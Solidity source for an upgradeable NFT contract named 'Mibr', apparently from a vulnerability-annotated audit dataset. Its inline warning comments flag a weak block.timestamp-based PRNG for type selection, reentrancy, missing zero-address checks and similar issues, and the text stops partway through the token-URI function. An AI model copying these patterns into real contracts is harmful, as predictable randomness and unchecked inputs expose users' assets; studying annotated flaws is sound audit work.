function __ERC165_init_unchained() internal onlyInitializing {}\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n uint256[50] private __gap;\n}\n\nlibrary MathUpgradeable {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fd6e5e4): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for fd6e5e4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 12b835b): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 12b835b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 75ae709): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 75ae709: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5a81999): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5a81999: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f42e3cd): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for f42e3cd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ed5ad5e): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ed5ad5e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 26fb0f4): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 26fb0f4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3f55317): MathUpgradeable.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 3f55317: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: fed0844): MathUpgradeable.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for fed0844: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: fd6e5e4\n\t\t\t\t// divide-before-multiply | ID: 75ae709\n\t\t\t\t// divide-before-multiply | ID: 5a81999\n\t\t\t\t// divide-before-multiply | ID: f42e3cd\n\t\t\t\t// divide-before-multiply | ID: ed5ad5e\n\t\t\t\t// divide-before-multiply | ID: 26fb0f4\n\t\t\t\t// divide-before-multiply | ID: 3f55317\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 12b835b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 75ae709\n\t\t\t// incorrect-exp | ID: fed0844\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: ed5ad5e\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: f42e3cd\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3f55317\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 26fb0f4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: fd6e5e4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5a81999\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 12b835b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary SignedMathUpgradeable {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMathUpgradeable.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\ncontract ERC721Upgradeable is\n Initializable,\n ContextUpgradeable,\n ERC165Upgradeable,\n IERC721Upgradeable,\n IERC721MetadataUpgradeable\n{\n using AddressUpgradeable for address;\n\n using StringsUpgradeable for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function __ERC721_init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC165Upgradeable, IERC165Upgradeable)\n returns (bool)\n {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: address zero is not a valid owner\"\n );\n\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n\n require(owner != address(0), \"ERC721: invalid token ID\");\n\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner or approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: caller is not token owner or approved\"\n );\n\n _safeTransfer(from, to, tokenId, data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n require(\n _checkOnERC721Received(from, to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n return (spender == owner ||\n isApprovedForAll(owner, spender) ||\n getApproved(tokenId) == spender);\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _balances[owner] -= 1;\n }\n\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721Upgradeable.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n require(\n ERC721Upgradeable.ownerOf(tokenId) == from,\n \"ERC721: transfer from incorrect owner\"\n );\n\n delete _tokenApprovals[tokenId];\n\n unchecked {\n _balances[from] -= 1;\n\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n\t\t\t// reentrancy-events | ID: 9fc3ab4\n\t\t\t// reentrancy-benign | ID: 99005ce\n try\n IERC721ReceiverUpgradeable(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n data\n )\n returns (bytes4 retval) {\n return\n retval ==\n IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 firstTokenId,\n uint256 batchSize\n ) internal virtual {}\n\n function __unsafe_increaseBalance(\n address account,\n uint256 amount\n ) internal {\n _balances[account] += amount;\n }\n\n uint256[44] private __gap;\n}\n\nabstract contract ERC721URIStorageUpgradeable is\n Initializable,\n IERC4906Upgradeable,\n ERC721Upgradeable\n{\n function __ERC721URIStorage_init() internal onlyInitializing {}\n\n function __ERC721URIStorage_init_unchained() internal onlyInitializing {}\n\n using StringsUpgradeable for uint256;\n\n mapping(uint256 => string) private _tokenURIs;\n\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC721Upgradeable, IERC165Upgradeable)\n returns (bool)\n {\n return\n interfaceId == bytes4(0x49064906) ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory _tokenURI = _tokenURIs[tokenId];\n\n string memory base = _baseURI();\n\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n function _setTokenURI(\n uint256 tokenId,\n string memory _tokenURI\n ) internal virtual {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI set of nonexistent token\"\n );\n\n\t\t// reentrancy-benign | ID: 99005ce\n _tokenURIs[tokenId] = _tokenURI;\n\n\t\t// reentrancy-events | ID: 9fc3ab4\n emit MetadataUpdate(tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n\n uint256[49] private __gap;\n}\n\nlibrary EnumerableSetUpgradeable {\n struct Set {\n bytes32[] _values;\n mapping(bytes32 => uint256) _indexes;\n }\n\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n\n set._indexes[value] = set._values.length;\n\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n uint256 toDeleteIndex = valueIndex - 1;\n\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastValue = set._values[lastIndex];\n\n set._values[toDeleteIndex] = lastValue;\n\n set._indexes[lastValue] = valueIndex;\n }\n\n set._values.pop();\n\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Set storage set,\n bytes32 value\n ) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n function _at(\n Set storage set,\n uint256 index\n ) private view returns (bytes32) {\n return set._values[index];\n }\n\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n struct Bytes32Set {\n Set _inner;\n }\n\n function add(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n function remove(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n function contains(\n Bytes32Set storage set,\n bytes32 value\n ) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n Bytes32Set storage set,\n uint256 index\n ) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n function values(\n Bytes32Set storage set\n ) internal view returns (bytes32[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n bytes32[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct AddressSet {\n Set _inner;\n }\n\n function add(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function remove(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function contains(\n AddressSet storage set,\n address value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n AddressSet storage set,\n uint256 index\n ) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n function values(\n AddressSet storage set\n ) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n address[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n\n struct UintSet {\n Set _inner;\n }\n\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n function remove(\n UintSet storage set,\n uint256 value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n function contains(\n UintSet storage set,\n uint256 value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n UintSet storage set,\n uint256 index\n ) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n function values(\n UintSet storage set\n ) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n\n uint256[] memory result;\n\n assembly {\n result := store\n }\n\n return result;\n }\n}\n\ncontract Mibr is\n ERC721URIStorageUpgradeable,\n OwnableUpgradeable,\n UUPSUpgradeable\n{\n using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;\n\n using StringsUpgradeable for uint256;\n\n struct MintInfo {\n uint256 totalSupply;\n uint256 currentMinted;\n string tokenUri;\n }\n\n uint256 private constant NFT_TYPES = 128;\n\n uint256 private constant NFT_SWITCH_INDEX = 64;\n\n address public minter;\n\n uint256 public currentSupply;\n\n uint256 public maxSupply;\n\n uint256 private _nextTokenId;\n\n uint256 private _switchTime;\n\n uint256[2] private _currentSupplyPhase;\n\n uint256[2] private _maxSupplyPhase;\n\n string private baseURI;\n\n MintInfo[] private mintInfos;\n\n EnumerableSetUpgradeable.UintSet private typeSet1;\n\n EnumerableSetUpgradeable.UintSet private typeSet2;\n\n modifier onlyMinter() {\n require(_msgSender() == minter, \"Restricted to minter\");\n\n _;\n }\n\n constructor() {\n _disableInitializers();\n }\n\n function _authorizeUpgrade(address) internal override onlyOwner {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b657892): Mibr.initialize(uint256,string,string,string,address,uint256[]).minter_ lacks a zerocheck on \t minter = minter_\n\t// Recommendation for b657892: Check that the address is not zero.\n function initialize(\n uint256 switchTime_,\n string memory name_,\n string memory symbol_,\n string memory baseUrl_,\n address minter_,\n uint256[] calldata supply_\n ) public initializer {\n __ERC721_init(name_, symbol_);\n\n __Ownable_init();\n\n __UUPSUpgradeable_init();\n\n _switchTime = switchTime_;\n\n baseURI = baseUrl_;\n\n\t\t// missing-zero-check | ID: b657892\n minter = minter_;\n\n _setInitSupply(supply_);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8ec1896): Mibr.setMinter(address).minter_ lacks a zerocheck on \t minter = minter_\n\t// Recommendation for 8ec1896: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 4557daa): Mibr.setMinter(address) should emit an event for minter = minter_ \n\t// Recommendation for 4557daa: Emit an event for critical parameter changes.\n function setMinter(address minter_) external onlyOwner {\n\t\t// missing-zero-check | ID: 8ec1896\n\t\t// events-access | ID: 4557daa\n minter = minter_;\n }\n\n function setBaseUrl(string memory uri) external onlyOwner {\n baseURI = uri;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e23039a): Mibr.setSwitchTime(uint256) should emit an event for _switchTime = switchTime_ \n\t// Recommendation for e23039a: Emit an event for critical parameter changes.\n function setSwitchTime(uint256 switchTime_) external onlyOwner {\n\t\t// events-maths | ID: e23039a\n _switchTime = switchTime_;\n }\n\n function setTokenUri(\n uint256 nftType,\n string memory uri\n ) external onlyOwner {\n require(nftType < NFT_TYPES, \"invalid nft type\");\n\n mintInfos[nftType].tokenUri = uri;\n }\n\n function mint(address to) external onlyMinter returns (uint256) {\n return _mint(to);\n }\n\n function getTypeMintInfo(\n uint256 nftType\n ) public view returns (MintInfo memory) {\n require(nftType < NFT_TYPES, \"invalid nft type\");\n\n return mintInfos[nftType];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c3aaaa1): Mibr._mint(address) uses timestamp for comparisons Dangerous comparisons block.timestamp < _switchTime\n\t// Recommendation for c3aaaa1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9fc3ab4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9fc3ab4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99005ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99005ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _mint(address to) internal returns (uint256) {\n\t\t// timestamp | ID: c3aaaa1\n uint256 phase = block.timestamp < _switchTime ? 0 : 1;\n\n require(\n _currentSupplyPhase[phase] < _maxSupplyPhase[phase],\n \"exceeds maximum limit\"\n );\n\n string memory tokenUri;\n\n uint256 nftType;\n\n unchecked {\n ++_nextTokenId;\n\n ++currentSupply;\n\n ++_currentSupplyPhase[phase];\n }\n\n (nftType, tokenUri) = _getTokenUri(_nextTokenId, phase);\n\n unchecked {\n mintInfos[nftType].currentMinted += 1;\n }\n\n if (\n mintInfos[nftType].currentMinted == mintInfos[nftType].totalSupply\n ) {\n _remove(nftType, phase);\n }\n\n\t\t// reentrancy-events | ID: 9fc3ab4\n\t\t// reentrancy-benign | ID: 99005ce\n _safeMint(to, _nextTokenId);\n\n\t\t// reentrancy-events | ID: 9fc3ab4\n\t\t// reentrancy-benign | ID: 99005ce\n _setTokenURI(_nextTokenId, tokenUri);\n\n return _nextTokenId;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 38652c7): Mibr._remove(uint256,uint256) ignores return value by typeSet1.remove(nftType)\n\t// Recommendation for 38652c7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b76dfc9): Mibr._remove(uint256,uint256) ignores return value by typeSet2.remove(nftType)\n\t// Recommendation for b76dfc9: Ensure that all the return values of the function calls are used.\n function _remove(uint256 nftType, uint256 phase) internal {\n if (phase == 0) {\n\t\t\t// unused-return | ID: 38652c7\n typeSet1.remove(nftType);\n } else {\n\t\t\t// unused-return | ID: b76dfc9\n typeSet2.remove(nftType);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 302cc16): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 302cc16: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 01febd4): Mibr._getTokenUri(uint256,uint256) uses a weak PRNG \"nftType = uint256(uint8(bytes1(seed))) % NFT_SWITCH_INDEX\" \n\t// Recommendation for 01febd4: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function _getTokenUri(\n uint256 tokenId,\n uint256 phase\n ) internal view returns (uint256, string memory) {\n bytes32 seed = keccak256(\n abi.encodePacked(tokenId, block.timestamp, currentSupply)\n );\n\n uint256 